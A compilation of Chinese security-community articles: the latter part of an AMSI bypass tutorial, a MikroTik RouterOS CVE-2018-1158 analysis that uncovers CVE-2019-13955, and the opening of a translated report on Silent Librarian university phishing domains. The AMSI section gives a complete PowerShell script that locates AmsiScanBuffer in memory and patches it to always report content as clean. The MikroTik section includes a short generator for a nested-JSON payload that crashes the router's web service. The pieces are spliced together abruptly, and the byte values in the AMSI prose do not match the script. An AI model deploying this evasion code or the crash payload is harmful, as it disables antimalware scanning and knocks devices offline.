需要注意的是，AMSI不单单可以用来扫描脚本、代码、命令或者cmdlet，也可以用来扫描任何文件、内存或者数据流，如字符串、即时消息、图像或者视频。
## 0x02 枚举AMSI函数
前文提到过，实现AMSI的应用使用到了AMSI的导出函数，但究竟是哪些函数，具体过程如何？更为重要的是，哪些函数负责检测，可以阻止我们执行“恶意”内容？
这里我们可以使用两种方法来获得导出函数列表。首先，我们可以从[微软官方文档](https://docs.microsoft.com/en-us/windows/desktop/AMSI/antimalware-scan-interface-functions)中找到一个基本的函数列表：
AmsiCloseSession
AmsiInitialize
AmsiOpenSession
AmsiResultsMalware
AmsiScanBuffer
AmsiScanString
AmsiUninitialize
另外我们可以使用[WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)之类的软件来调试AMSI
DLL，这些软件可以帮我们完成逆向分析、反汇编以及动态分析任务。这里我们选择将WinDbg
attach到正在运行的PowerShell进程，以便分析AMSI。
使用WinDbg时，我们可以列出AMSI导出函数及内部函数，如下图所示。其中`x`命令用来检查[符号](https://docs.microsoft.com/en-us/windows/desktop/debug/symbol-files)。符号文件是编译程序时创建的文件，程序运行并不需要这些文件，但其中包含调试过程中需要的许多有用信息，比如全局变量、本地变量、函数名及地址等。
知道函数名后，我们依然没有回答最重要的一个问题：哪个（些）函数负责检测行为，用来阻止“恶意”内容？
为了回答这个问题，我们可以使用[Frida](https://www.frida.re/)。Frida是一个动态检测工具集，可以用来分析程序内部原理和hook，这意味着该工具可以hook函数，以分析传递给函数或者由函数返回的变量或值。
关于Frida安装和工作原理方面的内容不在本文探讨范围内，如果大家想了解更多信息，可以参考[官方文档](https://www.frida.re/docs/home/)。这里我们只使用了`frida-trace`这款工具。
首先，我们使用`frida-trace`
attach到正在运行的PowerShell进程（如下左图），准备hook函数名以“Amsi”开头的所有函数。使用`-P`选项来指定进程ID，`-X`选项来指定模块（DLL），`-i`选项来指定函数名（或者匹配模式）。
要注意我们需要使用管理员权限来执行`frida-trace`（如下右图）。
现在Frida已经hook了这些函数，我们可以监控在输入简单字符串时，PowerShell会调用哪些函数。如下所示，可知PowerShell会调用`AmsiScanBuffer`以及`AmsiOpenSession`。
`frida-trace`是一款功能强大的工具，对于分析的每个函数，都会创建一个对应的JavaScript文件，每个JavaScript文件中包含两个函数：`onEnter`以及`onLeave`。
`onEnter`函数有3个参数：`log`、`args`以及`state`，这三个参数分别用是向用户显示的信息、传递给目标函数的参数列表以及用于内部函数状态管理的一个全局对象。
`onLeave`函数有3个参数：`log`、`args`以及`state`，分别是向用户显示的信息（与`onEnter`相同）、目标函数的返回值以及用于内部函数状态管理的一个全局对象（与`onEnter`相同）。
比如，Frida为`AmsiScanBuffer`默认生成的JavaScript文件如下所示：
{
onEnter: function (log, args, state) {
log('AmsiScanBuffer()');
},
onLeave: function (log, retval, state) { }
}
在我们的例子中，`AmsiScanBuffer`和`AmsiOpenSession`函数的JavaScript文件都可以根据函数原型进行更新，以便分析相关参数及返回值。函数原型或者函数接口指的是函数的声明，指定了函数名、类型、参数以及参数类型。
`AmsiScanBuffer`的[函数原型](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer)如下：
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
`AmsiOpenSession`的[函数原型](https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiopensession)如下：
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
更新`AmsiScanBuffer`对应的JavaScript文件（`__handlers__\amsi.dll\AmsiScanBuffer.js`），如下所示：
{
onEnter: function (log, args, state) {
log('[+] AmsiScanBuffer');
log('|- amsiContext: ' + args[0]);
log('|- buffer: ' + Memory.readUtf16String(args[1]));
log('|- length: ' + args[2]);
log('|- contentName: ' + args[3]);
log('|- amsiSession: ' + args[4]);
log('|- result: ' + args[5] + "n");
},
onLeave: function (log, retval, state) { }
}
更新`AmsiOpenSession`对应的JavaScript文件（`__handlers__\amsi.dll\AmsiOpenSession.js`），如下所示：
{
onEnter: function (log, args, state) {
log('[+] AmsiOpenSession');
log('|- amsiContext: ' + args[0]);
log('|- amsiSession: ' + args[1] + "n");
},
onLeave: function (log, retval, state) { }
}
更新这些文件后，我们可以更进一步了解哪些参数会被传递给这些函数。如下图所示，用户输入数据会通过`buffer`变量传递给`AmsiScanBuffer`函数：
根据这些分析，我们可以得出结论：`AmsiScanBuffer`至少是一个比较重要的函数，与检测机制有关，因此能够阻止“恶意”内容。
## 0x03 查找函数地址
现在我们已经缩小目标，只针对一个函数：`AmsiScanBuffer`。
在Windows系统中，`Kernel32`
DLL中导出的`LoadLibrary`函数可以用来加载DLL，并将DLL映射到正在运行进程的虚拟地址空间中（VAS），并返回该DLL对应的句柄，以便其他函数使用。如果DLL已经映射到进程的VAS中，那么就只会返回句柄（我们的例子就满足该情况，PowerShell在进程初始化阶段加载AMSI
DLL）。
Windows
API是一组函数及数据结构，由不同的DLL（如`Kernel32`或者`User32`）对外提供，Windows应用和服务可以使用这些API来执行具体操作（比如创建文件、打开进程或者加载DLL）。
为了获得AMSI DLL的句柄，我们可以执行如下PowerShell脚本：
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
`Kernel32` DLL中的[`GetProcAddress`](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress)函数能够帮我们获取指定DLL中的导出函数或者变量的句柄。在这个例子中，我们可以使用这个Windows API来获取AMSI
DLL中`AmsiScanBuffer`函数或其他其他导出函数的地址，这也是[Rasta
Mouse](https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/)之前使用的方法。然而，现在系统会将`AmsiScanBuffer`以及其他字符串当成恶意特征，避免AMSI被篡改。因此，这里我们需要使用另一种方法。
这里我们可以动态查找`AmsiScanBuffer`的地址，而不去使用`GetProcAddress`函数。为了完成该任务，我们仍然需要找到一个地址，作为VAS中的起始查找点。这里有很多导出函数可以使用，特别是函数名中不包含`Amsi`的导出函数，我们选择的是`DllCanUnloadNow`。
我们可以更新前面的PowerShell脚本，在代码中添加对`GetProcAddress`语句，以便获得目标进程VAS中`DllCanUnloadNow`函数的地址。如下所示：
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
需要注意的是由于[地址空间布局随机化（ASLR）](https://en.wikipedia.org/wiki/Address_space_layout_randomization)，每次系统重启后`DllCanUnloadNow`的地址都会发生变化。对于我们的例子，系统重启前该函数的地址为`140717525833824`。ASLR是一种安全机制，可以随机化VAS中的地址，防止攻击者猜测内存位置。
此外，每次重启系统后，ASLR都会随机化用户空间基址。
## 0x04 Egg Hunter
我们可以将`DllCanUnloadNow`的地址作为目标进程VAS的入口点，但现在我们如何找到`AmsiScanBuffer`的地址呢？
实际上，我们可以遍历整个VAS。搜索满足特定匹配模式的目标。这种技术可以称之为“[Egg
Hunter](http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)”。正常情况下，一个典型的egg
hunter需要搜索内存中2个4字节的特殊匹配模式（如`w00tw00t`或者`p4ulp4ul`），但这里我们需要使用24字节，而不是8字节。这24字节就是`AmsiScanBuffer`函数的前24个字节。
我们可以使用WinDbg软件来反汇编`AmsiScanBuffer`函数，以获取该函数对应的指令。需要注意的是，`u`选项可以用来反汇编内存中的特定代码，这里即为AMSI
DLL中的`AmsiScanBuffer`。
如上图所示，该函数的前24个字节为`0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49
0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70`。
利用这种技术时，我们要去确保搜索序列的唯一性，否则这种技术会返回“随机”地址，不是我们正在寻找的函数地址。
因此，我们可以更新之前的PowerShell脚本，以便在VAS中搜索这独特的24个字节。
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"
[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
[IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
$bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
$i++
}
Write-Host "[+] Bytes: $bytes"
在上述代码中，`Hunter`类的`FindAddress`静态方法会通过传参地址来递增搜索VAS中的地址，也就是`DllCanUnloadNow`函数的地址。然后，该方法使用`Marshal`类的`ReadByte`静态方法来获取该地址对应的字节，将其与我们查找的字节序列进行匹配。最后，如果找到匹配序列，代码就会返回函数对应的地址。
如上图所示，我们找到的字节刚好是`AmsiScanbuffer`函数的前24个字节，因此，我们可以使用这种技术成功动态发现`AmsiScanBuffer`。
## 0x05 Patch
发现函数地址后，下一步就是修改函数指令，避免该函数检测到“恶意”内容。
根据微软官方文档，`AmsiScanBuffer`函数应该返回[`HRESULT`](https://docs.microsoft.com/en-us/windows/desktop/seccrypto/common-hresult-values)类型值，这是一个整数值，用来表示操作是否成功。在我们的例子中，如果该函数成功，那么就应当返回`S_OK`（`0x00000000`），否则应该返回`HRESULT`错误代码。
这个函数的主要功能是返回需要扫描的内容是否存在问题，这也是`result`变量会作为参数传递给`AmsiScanBuffer`函数的原因所在。这个变量的类型为`AMSI_RESULT`枚举类型。
对应的枚举原型如下所示：
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
在函数执行过程中，待分析的内容会被发送到反恶意软件服务，后者会返回`1`到`32762`（含）之间的一个整数。整数值越大，则代表风险越高。如果证书大于或等于`32762`，那么就会将其判断为恶意数据，加以阻止。随后系统会根据返回的整数值来更新`AMSI_RESULT`变量值。
默认情况下，该变量处于“正常”（“无害”）值状态，因此，如果我们修改了函数指令，使其永远不会将待分析的内容发送给反恶意软件服务，并且返回`S_OK`
`HRESULT`结果值，那么这些内容就会被当成无害数据。
在汇编语言中，`EAX`（32位）以及`RAX`（64位）寄存器始终包含函数的返回值。因此，如果`EAX`/`RAX`寄存器值等于0，并且如果执行了`ret`汇编指令，那么该函数就会返回`S_OK`
`HRSULT`，不会将待分析数据发送给反恶意软件服务。
为了完成该任务，我们可以使用如下汇编代码：
xor EAX, EAX
ret
为了patch `AmsiScanBuffer`函数，我们需要将前几个字节修改为`0x31 0xC0
0xC3`（如上汇编指令的十六进制表示）。然而，在执行修改操作之前，待修改的区域必须为可读/可写。否则，任何读取或写入操作都会导致访问冲突异常。为了修改目标内存区域的保护机制，我们可以使用`Kernel32`
DLL中的`VirtualProtect`函数。这个导出函数可以修改指定区域的内存保护机制。
如下PowerShell代码片段使用了`VirtualProtect`函数来修改`AmsiScanBuffer`函数的前3字节内存保护。
# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
然后，`Marshal`类的`Copy`静态方法可以用来将指定字节拷贝（覆盖）到指定地址。在这里，我们使用这个静态方法来patch内存。
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
最后，我们再次使用`VirtualProtect`函数来重新初始化原始的内存保护状态。
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
将这些步骤结合起来后，我们就可以得到完整版的PowerShell脚本，完成如下操作：
* 获取AMSI DLL的句柄
* 获取`DllCanUnloadNow`函数的地址
* 通过egg hunter技术查找`AmsiScanBuffer`函数的地址
* 修改内存区域为可读写状态
* patch
* 重新初始化被修改的内存区域，恢复原始保护状态
完整代码如下：
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
如上图所示，我们成功绕过了AMSI。
## 0x06 总结
我们在如下Windows版本中对这种技术进行了测试：
完整版的PowerShell脚本可从[Github](https://gist.github.com/amonsec/986db36000d82b39c73218facc557628)上下载，C#版实现请参考[此处](https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597)。 | 社区文章 |
# CVE-2018-1158 MikroTik RouterOS漏洞分析之发现CVE-2019-13955
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
CVE-2018-1158是MikroTik路由器中存在的一个stack
exhaustion漏洞。认证的用户通过构造并发送一个特殊的json消息，处理程序在解析该json消息时会出现递归调用，造成stack
exhaustion，导致对应的服务崩溃重启。
该漏洞由Tenable的Jacob Baines发现，同时提供了对应的PoC脚本。另外，他的关于RouterOS漏洞挖掘的议题《Bug Hunting in
RouterOS》非常不错，对MikroTik路由器中使用的一些自定义消息格式进行了细致介绍，同时还提供了很多工具来辅助分析。相关工具、议题以及PoC脚本可在git库[routeros](https://github.com/tenable/routeros)获取，强烈推荐给对MikroTik设备感兴趣的人。
下面利用已有的PoC脚本和搭建的MikroTik RouterOS仿真环境，对该漏洞的形成原因进行分析。
## 环境准备
MikroTik官方提供多种格式的镜像，其中可以利用.iso或者.vmdk格式的镜像，结合VMware虚拟机来搭建仿真环境。具体的搭建步骤可参考文章
[Make It Rain with MikroTik](https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6) 和 [Finding and exploiting
CVE-2018–7445](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1)，这里不再赘述。
根据Tenable的[漏洞公告](https://www.tenable.com/security/research/tra-2018-21)可知，该漏洞在6.40.9、6.42.7及6.43等版本中修复。为了便于对漏洞进行分析和补丁分析，选取的相关镜像版本如下。
* 6.40.5，x86架构，用于进行漏洞分析
* 6.42.11，x86架构，用于进行补丁分析
搭建起仿真环境后，由于RouterOS自带的命令行界面比较受限，只能执行特定的命令，不便于后续进一步的分析和调试，因此还需要想办法获取设备的root
shell。同样，Jacob Baines在他的议题《Bug Hunting in
RouterOS》中给出了相应的方法，这里采用修改/rw/DEFCONF的方式。对于该文件的修改，可以通过给Ubuntu虚拟机添加一块硬盘并选择对应的vmdk文件，然后进行mount并修改。
需要说明的是，采用这种方式进行修改后，每次设备启动后/rw/DEFCONF文件会被删除，如下。
# /etc/rc.d/run.d/S12defconf
elif [ -f /rw/DEFCONF ]; then
# ...
defcf=$(cat /rw/DEFCONF)
echo > /ram/defconf-params
if [ -f /nova/bin/flash ]; then
/nova/bin/flash --fetch-defconf-params /ram/defconf-params
fi
(eval $(cat /ram/defconf-params) action=apply /bin/gosh $defcf;
cp $defcf $confirm; rm /rw/DEFCONF /ram/defconf-params) & # /rw/DEFCONF 被删除
fi
这样下次如果需要获取root shell，还需要再重新挂载并修改，比较麻烦。可行的解决方式如下：
1. 在修改/rw/DEFCONF文件后，创建一个虚拟机快照，下次直接恢复该快照即可；
2. 在修改/rw/DEFCONF文件后，将其拷贝一份保存到其他路径，获取到设备root shell后再拷贝一份到/rw路径下。
## 漏洞分析
根据漏洞公告可知，与该漏洞相关的程序为www。在设备上利用gdbserver附加到该进程进行远程调试，然后运行对应的PoC脚本，在本地的gdb中捕获到如下异常。
(gdb)
Thread 2 received signal SIGSEGV, Segmentation fault.
[Switching to Thread 267.373]
=> 0x777563f5 <pthread_mutex_lock+9>: call 0x7775a948
0x777563fa <pthread_mutex_lock+14>: add ebx,0x7c06
0x77756400 <pthread_mutex_lock+20>: mov esi,DWORD PTR [ebp+0x8]
0x77756403 <pthread_mutex_lock+23>: mov edi,DWORD PTR [esi+0xc]
// ...
// stacktrace
(gdb) bt
#0 0x777563f5 in pthread_mutex_lock () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libpthread.so.0
#1 0x77573cc3 in malloc () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libc.so.0
#2 0x775a5c3e in string::reserve(unsigned int) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so
#3 0x775a5ecd in string::assign(char const*, char const*) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so
#4 0x775a5f1d in string::assign(string const&) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so
#5 0x77788942 in void nv::message::insert<nv::string_id>(nv::string_id, nv::IdTraits<nv::string_id>::set_type) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libumsg.so
#6 0x77504b63 in ?? () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/nova/lib/www/jsproxy.p
# ...
#1102 0x77504bd3 in ?? () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/nova/lib/www/jsproxy.p
# ...
为了便于分析，临时关闭了系统的ASLR机制.
查看栈回溯信息，可以看到存在大量与0x77504bd3 in ?? () from
…/jsproxy.p相关的栈帧信息，与漏洞描述中的”递归解析”一致。根据PoC中数据内容格式”{m01: {m01: …
}}”，结合单步调试，定位漏洞触发的地方在sub_77504904()函数中，其被json2message()函数调用，核心代码片段如下。
sub_77504904()
{
// ...
switch ( (_BYTE)a3 )
{
case 'b':
v9 = v6;
v10 = strtoul(nptr, &nptr, 0);
nv::message::insert<nv::bool_id>(v58, v59, v10 != 0, v9);
break;
case 'm':
if ( v55 != '{' )
return v3;
++nptr;
nv::message::message((nv::message *)&v63);
v17 = sub_77D61904(nptr, (int)&v63, v16); // !!!递归调用
v3 = v17;
nptr = v17;
if ( *v17 != '}' )
{
nv::message::~message((nv::message *)&v63);
return v3;
}
// ...
break;
case 'a':
if ( v55 != '[' )
// ...
// ...
}
以”{m01: {m01:{m01: ” “}}}”为例，其主要处理逻辑为：先解析前面的”{m01: “，执行到switch语句时，匹配”case
‘m'”分支，然后再次调用sub_77504904()函数，此时数据变为”{m01: {m01: “”
}}”，处理逻辑和之前相同。因此，只需要发送的数据包中包含足够多的重复模式，在解析该数据时会造成函数的递归调用，从而不断开辟栈帧,，最终导致”stack
exhaustion”。
## 补丁分析
版本6.42.11中修复了该漏洞，基于前面对漏洞形成原因的分析，在程序jsproxy.p中定位漏洞触发的代码片段，如下。可以看到，该代码片段的处理逻辑与之前类似，但在调用函数sub_7750DCFC()时多了一个参数，用来限制递归的深度。
sub_7750DCFC()
{
// ...
switch ( (_BYTE)a3 )
{
case 'b':
v9 = v6;
v10 = strtoul(nptr, &nptr, 0);
nv::message::insert<nv::bool_id>(v62, v63, v10 != 0, v9);
break;
case 'm':
if ( a4 > 0xA || v59 != '{' ) // a4:限制递归深度
return v4;
++nptr;
nv::message::message((nv::message *)&v67);
v18 = sub_7750DCFC(nptr, (int)&v67, v17, a4 + 1); // !!!递归调用
v4 = v18;
nptr = v18;
if ( *v18 != 125 )
{
nv::message::~message((nv::message *)&v67);
return v4;
}
// ...
break;
case 'a':
// ...
// ...
}
## 未知漏洞发现
在对补丁进行分析时，通过IDA的交叉引用功能，发现该函数还存在另一处递归调用，如下。
调用处的部分代码片段如下。可以看到，在处理对应的消息类型M时，也会调用sub_7750DCFC()函数自身，但是却没有对递归调用深度的限制，因此猜测这个地方很可能存在问题。
sub_7750DCFC()
{
// ...
if ( (_BYTE)a3 == 'M' ) // 消息类型M
{
if ( v59 != '[]' )
return v4;
vector_base::vector_base((vector_base *)&v69);
++nptr;
while ( 1 )
{
v4 = nptr;
v52 = *nptr;
if ( *nptr == ']' )
break;
if ( !v52 )
goto LABEL_151;
if ( v52 == ' ' || v52 == ',' )
{
++nptr;
}
else
{
nv::message::message((nv::message *)&v65);
v54 = sub_7750DCFC(nptr, (int)&v65, v53, a4 + 1); // !!!递归调用，没有对a4进行判断
v4 = v54;
nptr = v54;
if ( *v54 != '}' )
{
// ...
// ....
}
根据Jacob Baines议题《Bug Hunting in
RouterOS》中对json消息格式的介绍，消息类型M与消息类型m对应，m表示单个Message，而M表示”Message array”。
图片来源：Jacob Baines议题《Bug Hunting in RouterOS》
通过构造一个简短的payload:
“{M01:[M01:[M01:[]]]}”，然后利用gdb进行调试，发现确实可以到达对应的函数调用点，该函数会递归调用自身来对数据进行解析，与之前对消息类型m的处理逻辑相似。接着，利用一个简单的脚本来产生大量包含这种模式的数据，然后修改CVE-2018-1158
PoC中对应的数据，在版本为6.42.11的设备上进行验证，可以看到进程www确实崩溃了。
msg = "{M01:[M01:[]]}"
for _ in xrange(2000):
msg = msg.replace('[]', "[M01:[]]")
通过代码静态分析，该未知漏洞在”Long-term”最新版本6.43.16上仍然存在。
该漏洞(CVE-2019-13955)目前已被修复，建议及时升级到最新版本。
## 小结
* 该漏洞触发的原因为：程序在对某些特殊构造的数据进行解析时存在递归调用，从而造成”stack exhaustion”；
* 对该漏洞的修复主要是在递归调用函数时增加了一个参数，用来限制递归调用的深度；
* 对该漏洞进行修复时未考虑全面，仅对消息类型为m的数据增加了递归调用深度的判断，而通过构造消息类型为M的数据仍可触发该漏洞。
## 相关链接
* [Mikrotik RouterOS Multiple Authenticated Vulnerabilities](https://www.tenable.com/security/research/tra-2018-21)
* [RouterOS Bug Hunting Materials](https://github.com/tenable/routeros)
* [Make It Rain with MikroTik](https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6)
* [Finding and exploiting CVE-2018–7445](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1)
* [Two vulnerabilities found in MikroTik’s RouterOS](https://seclists.org/fulldisclosure/2019/Jul/20)
* [Mikrotik RouterOS Changelogs](https://mikrotik.com/download/changelogs/long-term-release-tree) | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/>**
## 前言
自复学以来，被称为“Silent Librarian/ TA407 / COBALT DICKENS”的APT组织就一直通过网络钓鱼活动瞄准大学。
9月中旬，一位客户告知我们该APT组织开展的一项新的网络钓鱼活动。基于目标受害者数量庞大，我们得知，APT组织不局限于特定国家，而是试图扩大其覆盖范围。
尽管已经发现并清除了许多网络钓鱼站点，但APT组织已建立了足够的威胁站点以继续对教职工和学生发起攻击。
### “坚持出勤”的黑客
2018年3月，有[9名伊朗人因](https://www.justice.gov/opa/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic-revolutionary)涉嫌攻击大学和其他组织而被美国司法部[起诉](https://www.justice.gov/opa/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic-revolutionary)，其目的是窃取研究和专利数据。
然而，在[2018年](https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities)八月和[2019](https://www.proofpoint.com/us/threat-insight/post/seems-phishy-back-school-lures-target-university-students-and-staff)年的新学年，Silent Librarian APT组织再次瞄准十多个国家的同类受害者。
考虑到客户（即学生和老师）身份的特殊性，大学中的IT管理员的工作特别艰巨。尽管如此，他们还为价值数百万或数十亿美元的研究做出了贡献。
伊朗正应对持续的制裁，它努力跟上包括技术发展的各领域发展。基于此的攻击代表了国家利益，且得到了充分的资金支持。
### 网络钓鱼域注册中的相同模式
新域名遵循以往报告过的相同模式，并将顶级域名替代为另一个域名。Silent Librarian APT组织在过去的攻击活动中使用“ .me”
TLD来打击学术直觉，并继续沿用“ .tk”和“ .cf”。
这种新型网络钓鱼活动已被Twitter上的安全研究人员追踪，特别引起了[CSIS安全集团](https://csis.dk/)的[彼得·克鲁斯](https://twitter.com/peterkruse)的关注。
**Phishing site** | **Legitimate site** | **Target**
---|---|---
library.adelaide.crev.me | library.adelaide.edu.au | The University of
Adelaide Library
signon.adelaide.edu.au.itlib.me | library.adelaide.edu.au | The University of
Adelaide Library
blackboard.gcal.crev.me | blackboard.gcal.ac.uk | Glasgow Caledonian
University
blackboard.stonybrook.ernn.me | blackboard.stonybrook.edu | Stony Brook
University
blackboard.stonybrook.nrni.me | blackboard.stonybrook.edu | Stony Brook
University
namidp.services.uu.nl.itlib.me | namidp.services.uu.nl | Universiteit Utrecht
uu.blackboard.rres.me | uu.blackboard.com | Universiteit Utrecht
librarysso.vu.cvrr.me | librarysso.vu.edu.au | Victoria University
ole.bris.crir.me | ole.bris.ac.uk | University of Bristol
idpz.utorauth.utoronto.ca.itlf.cf | idpz.utorauth.utoronto.ca | University of
Toronto
raven.cam.ac.uk.iftl.tk | raven.cam.ac.uk | University of Cambridge
login.ki.se.iftl.tk | login.ki.se | Karolinska Medical Institutet
shib.york.ac.uk.iftl.tk | shib.york.ac.uk | University of York
sso.id.kent.ac.uk.iftl.tk | sso.id.kent.ac.uk | University of Kent
idp3.it.gu.se.itlf.cf | idp3.it.gu.se | G?teborg universitet
login.proxy1.lib.uwo.ca.sftt.cf | login.proxy1.lib.uwo.ca | Western University
Canada
login.libproxy.kcl.ac.uk.itlt.tk | kcl.ac.uk | King’s College London
